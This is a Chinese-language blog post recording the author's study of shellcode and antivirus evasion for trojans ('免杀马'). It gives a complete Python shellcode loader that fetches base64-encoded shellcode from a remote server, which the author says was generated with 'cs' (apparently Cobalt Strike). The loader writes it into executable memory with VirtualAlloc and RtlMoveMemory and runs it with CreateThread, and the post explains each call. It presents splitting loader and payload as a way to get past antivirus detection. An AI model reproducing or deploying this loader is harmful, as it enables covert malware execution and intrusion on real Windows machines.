shellcode编写

前几天朋友跟我分享说,免杀马确实应该学一学,这几天请教了一位老师傅,了解了学习路线。大致思路就是

先让我学习shellcode,然后会教我写一个马,然后把它抓换成shellcode ,然后写个shellcode加载器

先从shellcode的编写开始学习,

百度shellcode的定义:shellcode是一种利用软件漏洞而执行的代码,shellcode16进制的机器码,因为经常让攻击者获得shell而得名。shellcode经常使用机器语言编写。可在暂存器溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

 

第一天学习 看到的  好文章:
主要:  
https://www.bilibili.com/video/BV1y4411k7ch?p=11&spm_id_from=pageDriver
其次:
https://www.bilibili.com/video/BV1nb411p7Kq?from=search&seid=4136211696215835218 https://blog.csdn.net/maotoula/article/details/18502679 https://blog.csdn.net/leng_que/article/details/4668805?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&dist_request_id=1328602.25187.16149996836606083&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control http://blog.chinaunix.net/uid-26275986-id-5035598.html http://www.dengb.com/wzaq/1002165.html https://blog.csdn.net/x_nirvana/article/details/68921334 http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/

 

第二天学习shellcode

 

比较不错的文章

https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ 这篇文章讲shellcode的原理讲的非常好,,下面的文章就是基于这篇文章的

 

shellcode 和 shellcode Loder

文章里面有个很生动形象的比喻,

shellcode比作子弹的话,loader就是把枪,两者缺一不可

shellcode是一段用于利用软件漏洞而执行的代码

shellcode loader是用来运行此代码的加载器
枪和子弹在一起才有威胁性肯定不让过安检啊
当只有loader这边枪时,没子弹构不成威胁,所以可能会绕过免杀
当只有shellcode时,只有子弹没有枪,也可能会绕过免杀

 所以说这种免杀方式必须有两个内容,一个是 shellcode 另一个就是 shellcode 加载器,真正实现免杀的大致流程就是 将shellcode loder 上传到 主机,shellcode loder  在从服务器上下载 shellcode 运行

下面咱们先用python语言实现一下,昨天看了C++语言的,稍微有些复杂, 这里就看一看 python语言的,还算比较简单,其实也没什么区别

shellcode


我们在用cs生成payload时,会生成一段特定编程语言的代码(以python为例)

 

 

 里面一长串\xfc样式的16进制代码,这就是子弹(shellcode) , 但光有子弹不行,所以我们需要一把枪loader才能让他发挥作用。

 

shellcode  loder

这里找了一个网上的python内存加载器 环境:python2.7
本文主要写的也是关于该加载器的实现原理,和调用参数的分析

import ctypes                //python的ctypes模块是内建,用来调用系统动态链接库函数的模块,可以向其传递参数。
import requests
import base64

scode = requests.get("http://192.168.1.1/123.txt")                                  //shellcode  loder 从服务器下载 shellcode 
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64                        //申请内存,转换返回值类型

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

读取shellcode

我是将shellcode生成后,使用base64编码,放在了服务器123.txt文件上

由于后面操作是将代码写入内存,所以需要将 代码 解码并转为字节类型

1 scode = requests.get("http://192.168.1.1/123.txt")
2 shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同

想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32

1 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。

对于这个函数的详细解释  :   https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress,                                #要分配的内存区域的地址
DWORD dwSize,                                    #分配的大小
DWORD flAllocationType,                          #分配的类型
DWORD flProtect                                  #该内存的初始保护属性
};

申请一块内存;可读;可写;可执行

 

1 ptr = ctypes.windll.kernel32.VirtualAlloc(
2 ctypes.c_int(0),
3 ctypes.c_int(len(shellcode)),
4 ctypes.c_int(0x3000),
5 ctypes.c_int(0x40)
6 )

 

ctypes.c_int(0) 是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode)) 以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000) 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40) 是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。

 

将shellcode载入到内存中

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下:

1 RtlMoveMemory(Destination,Source,Length);
2 Destination :指向移动目的地址的指针。
3 Source :指向要复制的内存地址的指针。
4 Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

 

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))
)

 

 

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下:

 

1 HANDLE CreateThread(
2 LPSECURITY_ATTRIBUTES lpThreadAttributes,                  #线程安全属性
3 SIZE_T dwStackSize,                                        #置初始栈的大小,以字节为单位
4 LPTHREAD_START_ROUTINE lpStartAddress,                     #指向线程函数的指针
5 LPVOID lpParameter,                                        #向线程函数传递的参数
6 DWORD dwCreationFlags,                                     #线程创建属性
7 LPDWORD lpThreadId                                         #保存新线程的id
8 )

 

创建一个线程从shellcode放置位置开始执行

 

1 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
2        ctypes.c_int(0),
3        ctypes.c_uint64(ptr),
4        ctypes.c_int(0),
5        ctypes.c_int(0),
6        ctypes.pointer(ctypes.c_int(0)))

 

lpThreadAttributes 为NULL使用默认安全性
dwStackSize 为0,默认将使用与调用该函数的线程相同的栈空间大小   
lpStartAddress  为ctypes.c_uint64(ptr),定位到申请的内存所在的位置 
lpParameter   不需传递参数时为NULL
dwCreationFlags 属性为0,表示创建后立即激活
lpThreadId 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

 

 

具体参考百度百科:https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

 

 

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下:

1 DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
);

 等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleObject(                                           
ctypes.c_int(handle),
ctypes.c_int(-1)
)

 

这里两个参数,一个是创建的线程,一个是等待时间

当线程退出时会给出一个信号,函数收到后会结束程序。当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。

具体参考百度百科:https://baike.baidu.com/item/WaitForSingleObject/3534838?fr=aladdin


总结


上面loader大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

 

posted @ 2021-03-06 17:49  链宁区块链安全服务  阅读(332)  评论(0)    收藏  举报